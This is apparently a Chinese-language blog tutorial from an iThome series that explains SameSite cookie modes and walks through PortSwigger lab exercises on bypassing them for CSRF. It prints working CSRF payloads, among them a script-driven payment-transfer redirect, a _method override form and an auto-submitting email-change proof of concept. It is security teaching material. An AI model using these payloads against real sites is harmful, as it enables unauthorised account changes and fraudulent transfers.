iT邦幫忙

2023 iThome 鐵人賽

DAY 12
0

今天講跨越 SameSite cookie。
SameSite 是一種新的 Cookie 屬性,主要用於增強網站的安全性,是為了解決 CSRF 攻擊問題而設計的。
在 SameSite cookie 下,一個網站被定義為 top-level domain(TLD),通常是像 .com.net 這樣的,加上域名的另一個級別。這通常被叫做 TLD+1
https://ithelp.ithome.com.tw/upload/images/20230927/201624914njgrwR7Jt.png

SameSite 是如何運作?

即使請求是由無關的第三方網站觸發的,瀏覽器也會在向發出它們的domain 發送的每個請求中發送 cookies,減少用戶暴露於 CSRF 攻擊的風險。

模式

  • Strict: 只有當請求是來自同一個站點時,才會傳送 cookie
  • Lax: 在某些情況下允許跨站點請求,例如GET請求。
  • None: 這會在任何情況下都發送 cookies,但需要使用Secure屬性,意味著只能在安全的https連接中傳送。

怎麼設置

開發者在設置 cookies 時,可以在 Set-Cookie header 加入 SameSite 屬性,例如:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict。

https://ithelp.ithome.com.tw/upload/images/20230927/20162491hYixzX6Bos.png

使用 GET 請求繞過 SameSite Lax 限制

如果他們 cookiesLax 限制,可能仍然可以通過從受害者的瀏覽器中引發 GET 請求來執行 CSRF 攻擊。

以下是啟動此類攻擊的最簡單方法之一:

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

即使不允許普通的 GET 請求,某些框架提供了覆蓋請求行中指定的方法的方式。例如,Symfony 支持在表單中的 _method 參數:

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Lab time

一樣先登入,然後進到 update email

https://ithelp.ithome.com.tw/upload/images/20230927/20162491jJH6Va40Je.png
重新設一個 email 接 request
https://ithelp.ithome.com.tw/upload/images/20230927/20162491IvjqkrhzZv.png
送給 repeater 然後 PoC 複製 CSRF HTML
https://ithelp.ithome.com.tw/upload/images/20230927/20162491KrdlT8MKye.png
然後稍微將 POST 改成 GET
紮上衣格 _method

<input type="hidden" name="_method" value="POST">

完整程式碼:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ad8000b04e03382818b610b009800b4.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="_method" value="POST">
      <input type="hidden" name="email" value="hi&#64;dv&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

https://ithelp.ithome.com.tw/upload/images/20230927/20162491RL6Yf5CLaD.png
完成

使用站內工具繞過 SameSite 限制

如果一個 cookie 被設置為 SameSite=Strict 屬性,瀏覽器不會在任何跨站請求中包含它。但如果你可以找到一些在同一網站內導致二次請求的工具,就可以繞過這個限制。

在瀏覽器看來,這些client端重定向不是真正的重定向;由此產生的請求只被視為普通的、獨立的請求。最重要的是,這是一個SameSite請求,因此,它將包括與該網站相關的所有 cookies,無論是否有任何限制。

如果你可以操縱這個工具來引發一個惡意的二次請求,就可以繞過任何 SameSite cookie 限制。

Lab time

一樣先登入,然後抓修改emailrequest

隨便點開一個文章留言看看


上一篇
[Day 11]CSRF(跨站請求偽造)攻擊(上)
下一篇
[Day 13]OS 命令注入攻擊
系列文
從 Moblie Development 主題被損友洗腦鬼轉 Security 的我真的可以完賽嗎?30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言